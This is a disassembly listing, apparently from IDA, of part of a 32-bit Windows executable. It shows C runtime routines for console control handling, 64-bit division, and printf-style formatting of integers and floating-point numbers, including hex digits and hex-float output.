		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_44BDA7
; ---------------------------------------------------------------------------


loc_44BD65:				; CODE XREF: sub_44BCD1+33j
		cmp	ebx, 2
		jnz	short loc_44BD93
		cmp	dword_41189C, 0
		jnz	short loc_44BD93
		push	1
		push	offset sub_40AD10
		call	dword_411E10	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_44BD89
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BDA7
; ---------------------------------------------------------------------------


loc_44BD89:				; CODE XREF: sub_44BCD1+B1j
		mov	dword_41189C, 1


loc_44BD93:				; CODE XREF: sub_44BCD1+97j
					; sub_44BCD1+A0j
		lea	eax, ds:4117E4h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_44BDA7:				; CODE XREF: sub_44BCD1+21j
					; sub_44BCD1+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BCD1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44BDB1	proc near		; CODE XREF: DMN1:00448A4Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_44BDB1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44BDC1	proc near		; CODE XREF: DMN1:0044A20Dp
					; sub_44BF81+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_44BDE3
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44BE24
; ---------------------------------------------------------------------------


loc_44BDE3:				; CODE XREF: sub_44BDC1+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_44BDF1:				; CODE XREF: sub_44BDC1+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44BDF1
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44BE1F
		cmp	edx, [esp+8+arg_C]
		ja	short loc_44BE1F
		jb	short loc_44BE20
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_44BE20


loc_44BE1F:				; CODE XREF: sub_44BDC1+4Ej
					; sub_44BDC1+54j
		dec	esi


loc_44BE20:				; CODE XREF: sub_44BDC1+56j
					; sub_44BDC1+5Cj
		xor	edx, edx
		mov	eax, esi


loc_44BE24:				; CODE XREF: sub_44BDC1+20j
		pop	esi
		pop	ebx
		retn	10h
sub_44BDC1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BE31	proc near		; CODE XREF: sub_44ABB1+B3p
					; sub_44ABB1+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_44BE4F
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_44BE55
; ---------------------------------------------------------------------------


loc_44BE4F:				; CODE XREF: sub_44BE31+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_44BE55:				; CODE XREF: sub_44BE31+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A0
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_44BE86
		cmp	[ebp+var_14], 40h
		ja	short loc_44BE95


loc_44BE86:				; CODE XREF: sub_44BE31+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_44BEAE
; ---------------------------------------------------------------------------


loc_44BE95:				; CODE XREF: sub_44BE31+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_449121
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_44BEAE
		or	eax, 0FFFFFFFFh
		jmp	loc_44BF76
; ---------------------------------------------------------------------------


loc_44BEAE:				; CODE XREF: sub_44BE31+62j
					; sub_44BE31+73j
		test	esi, esi
		jnz	short loc_44BEB7
		mov	esi, offset aNull ; "(null)"


loc_44BEB7:				; CODE XREF: sub_44BE31+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_44BF3C
; ---------------------------------------------------------------------------


loc_44BEC0:				; CODE XREF: sub_44BE31+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_44CE61
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_44BEE7
		cmp	word ptr [esi],	0
		jnz	short loc_44BEED
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_44BEED


loc_44BEE7:				; CODE XREF: sub_44BE31+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_44BF46
; ---------------------------------------------------------------------------


loc_44BEED:				; CODE XREF: sub_44BE31+ADj
					; sub_44BE31+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_44BF46
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_44BF17
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44B2F1
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_44BF17:				; CODE XREF: sub_44BE31+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_44BF46
		add	esi, 2
		sub	[ebp+var_4], edi


loc_44BF3C:				; CODE XREF: sub_44BE31+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_44BEC0


loc_44BF46:				; CODE XREF: sub_44BE31+BAj
					; sub_44BE31+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44B2F1
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_44BF73
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_448071
		pop	ecx


loc_44BF73:				; CODE XREF: sub_44BE31+136j
		mov	eax, [ebp+var_20]


loc_44BF76:				; CODE XREF: sub_44BE31+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BE31	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BF81	proc near		; CODE XREF: sub_44ABB1+256p
					; sub_44ABB1+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_44BF99
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_44BFA0
; ---------------------------------------------------------------------------


loc_44BF99:				; CODE XREF: sub_44BF81+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_44BFA0:				; CODE XREF: sub_44BF81+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_44BFB5
		mov	[ebp+var_38], 8
		jmp	short loc_44BFD0
; ---------------------------------------------------------------------------


loc_44BFB5:				; CODE XREF: sub_44BF81+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_44BFC9
		cmp	al, 58h
		jz	short loc_44BFC9
		mov	[ebp+var_38], 0Ah
		jmp	short loc_44BFD0
; ---------------------------------------------------------------------------


loc_44BFC9:				; CODE XREF: sub_44BF81+39j
					; sub_44BF81+3Dj
		mov	[ebp+var_38], 10h


loc_44BFD0:				; CODE XREF: sub_44BF81+32j
					; sub_44BF81+46j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_44BFF6
		cmp	al, 69h
		jnz	short loc_44C01B


loc_44BFF6:				; CODE XREF: sub_44BF81+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44C01B
		jl	short loc_44C008
		test	eax, eax
		jnb	short loc_44C01B


loc_44C008:				; CODE XREF: sub_44BF81+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_44C01B:				; CODE XREF: sub_44BF81+73j
					; sub_44BF81+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_44C032
		test	eax, eax
		jnz	short loc_44C032
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_44C062


loc_44C032:				; CODE XREF: sub_44BF81+A2j
					; sub_44BF81+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44D0B1
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_44C062:				; CODE XREF: sub_44BF81+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44BDC1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_44C0F3
; ---------------------------------------------------------------------------


loc_44C083:				; CODE XREF: sub_44BF81+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44D131
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44D1E1
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44C0F3:				; CODE XREF: sub_44BF81+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_44C10F
		jg	short loc_44C105
		test	eax, eax
		jbe	short loc_44C10F


loc_44C105:				; CODE XREF: sub_44BF81+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_44C083


loc_44C10F:				; CODE XREF: sub_44BF81+17Cj
					; sub_44BF81+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_44C13B
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44C13B
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_44C13B
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_44C13B
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_44C13B:				; CODE XREF: sub_44BF81+192j
					; sub_44BF81+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_44C187
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_44C1B8
; ---------------------------------------------------------------------------


loc_44C187:				; CODE XREF: sub_44BF81+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44C1B8
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_44C1B8
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_44C1B8
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_44C1B8:				; CODE XREF: sub_44BF81+204j
					; sub_44BF81+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BF81	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44C1C1	proc near		; CODE XREF: sub_44ABB1+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44D221
		pop	ecx
		movsx	eax, ax
		retn
sub_44C1C1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C1D1	proc near		; CODE XREF: sub_44ABB1+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44C1F0
		cmp	al, 41h
		jnz	short loc_44C1F2


loc_44C1F0:				; CODE XREF: sub_44C1D1+19j
		jmp	short loc_44C225
; ---------------------------------------------------------------------------


loc_44C1F2:				; CODE XREF: sub_44C1D1+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44C207
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_44C225
; ---------------------------------------------------------------------------


loc_44C207:				; CODE XREF: sub_44C1D1+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_44C225
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44C21B
		cmp	al, 47h
		jnz	short loc_44C225


loc_44C21B:				; CODE XREF: sub_44C1D1+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_44C225:				; CODE XREF: sub_44C1D1:loc_44C1F0j
					; sub_44C1D1+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_44D291
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_44C28A
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44C262
		cmp	al, 65h
		jz	short loc_44C262
		cmp	al, 66h
		jz	short loc_44C262
		cmp	al, 67h
		jnz	short loc_44C26B


loc_44C262:				; CODE XREF: sub_44C1D1+83j
					; sub_44C1D1+87j ...
		mov	[ebp+var_44], 4100E2h
		jmp	short loc_44C272
; ---------------------------------------------------------------------------


loc_44C26B:				; CODE XREF: sub_44C1D1+8Fj
		mov	[ebp+var_44], offset word_4100DE


loc_44C272:				; CODE XREF: sub_44C1D1+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		jmp	loc_44C825
; ---------------------------------------------------------------------------


loc_44C28A:				; CODE XREF: sub_44C1D1+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_44C2DC
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44C2B4
		cmp	al, 65h
		jz	short loc_44C2B4
		cmp	al, 66h
		jz	short loc_44C2B4
		cmp	al, 67h
		jnz	short loc_44C2BD


loc_44C2B4:				; CODE XREF: sub_44C1D1+D5j
					; sub_44C1D1+D9j ...
		mov	[ebp+var_44], offset word_4100DA
		jmp	short loc_44C2C4
; ---------------------------------------------------------------------------


loc_44C2BD:				; CODE XREF: sub_44C1D1+E1j
		mov	[ebp+var_44], offset off_4100D6


loc_44C2C4:				; CODE XREF: sub_44C1D1+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		jmp	loc_44C825
; ---------------------------------------------------------------------------


loc_44C2DC:				; CODE XREF: sub_44C1D1+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44C2E7
		cmp	al, 41h
		jnz	short loc_44C31F


loc_44C2E7:				; CODE XREF: sub_44C1D1+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_44C31F:				; CODE XREF: sub_44C1D1+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_44C337
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_44C806
; ---------------------------------------------------------------------------


loc_44C337:				; CODE XREF: sub_44C1D1+153j
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44C346
		cmp	al, 41h
		jnz	loc_44C54C


loc_44C346:				; CODE XREF: sub_44C1D1+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44C355
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_44C35C
; ---------------------------------------------------------------------------


loc_44C355:				; CODE XREF: sub_44C1D1+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_44C35C:				; CODE XREF: sub_44C1D1+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44C374
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_44C37E
; ---------------------------------------------------------------------------


loc_44C374:				; CODE XREF: sub_44C1D1+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_44C37E:				; CODE XREF: sub_44C1D1+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44C3A7
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_44C3AF
; ---------------------------------------------------------------------------


loc_44C3A7:				; CODE XREF: sub_44C1D1+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_44C3AF:				; CODE XREF: sub_44C1D1+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_44C452
; ---------------------------------------------------------------------------


loc_44C3CB:				; CODE XREF: sub_44C1D1+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_44D2B1
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_44D2D1
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44C3FC
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_44C3FC:				; CODE XREF: sub_44C1D1+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_44C421
; ---------------------------------------------------------------------------


loc_44C40E:				; CODE XREF: sub_44C1D1+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_44C421:				; CODE XREF: sub_44C1D1+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_44C432
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44C40E


loc_44C432:				; CODE XREF: sub_44C1D1+254j
		jmp	short loc_44C43E
; ---------------------------------------------------------------------------


loc_44C434:				; CODE XREF: sub_44C1D1+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_44C43E:				; CODE XREF: sub_44C1D1:loc_44C432j
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44C434
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_44C452:				; CODE XREF: sub_44C1D1+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_44C46A
		fld	[ebp+var_10]
		fcomp	dbl_4100AC
		fnstsw	ax
		sahf
		ja	loc_44C3CB


loc_44C46A:				; CODE XREF: sub_44C1D1+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44C48B
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44C48B:				; CODE XREF: sub_44C1D1+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_44C52F
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44C4B7
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_44C4B7
		mov	[ebp+var_64], 0Fh
		jmp	short loc_44C4BE
; ---------------------------------------------------------------------------


loc_44C4B7:				; CODE XREF: sub_44C1D1+2CFj
					; sub_44C1D1+2DBj
		mov	[ebp+var_64], 0


loc_44C4BE:				; CODE XREF: sub_44C1D1+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44C4D2
; ---------------------------------------------------------------------------


loc_44C4CD:				; CODE XREF: sub_44C1D1+311j
		sub	[ebp+var_12], 1


loc_44C4D2:				; CODE XREF: sub_44C1D1+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_44C4CD
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_44C4F5
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44C4F5:				; CODE XREF: sub_44C1D1+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_44C508
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_44C508:				; CODE XREF: sub_44C1D1+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44C524
; ---------------------------------------------------------------------------


loc_44C511:				; CODE XREF: sub_44C1D1+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_44C524:				; CODE XREF: sub_44C1D1+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_44C511


loc_44C52F:				; CODE XREF: sub_44C1D1+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_44C806
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_44C806
; ---------------------------------------------------------------------------


loc_44C54C:				; CODE XREF: sub_44C1D1+16Fj
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44C562
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_44C562:				; CODE XREF: sub_44C1D1+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_44C5CD
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_44C5C5
; ---------------------------------------------------------------------------


loc_44C5A9:				; CODE XREF: sub_44C1D1+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44C5BF
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_410054[eax*8]
		fstp	[ebp+var_10]


loc_44C5BF:				; CODE XREF: sub_44C1D1+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44C5C5:				; CODE XREF: sub_44C1D1+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_44C5A9
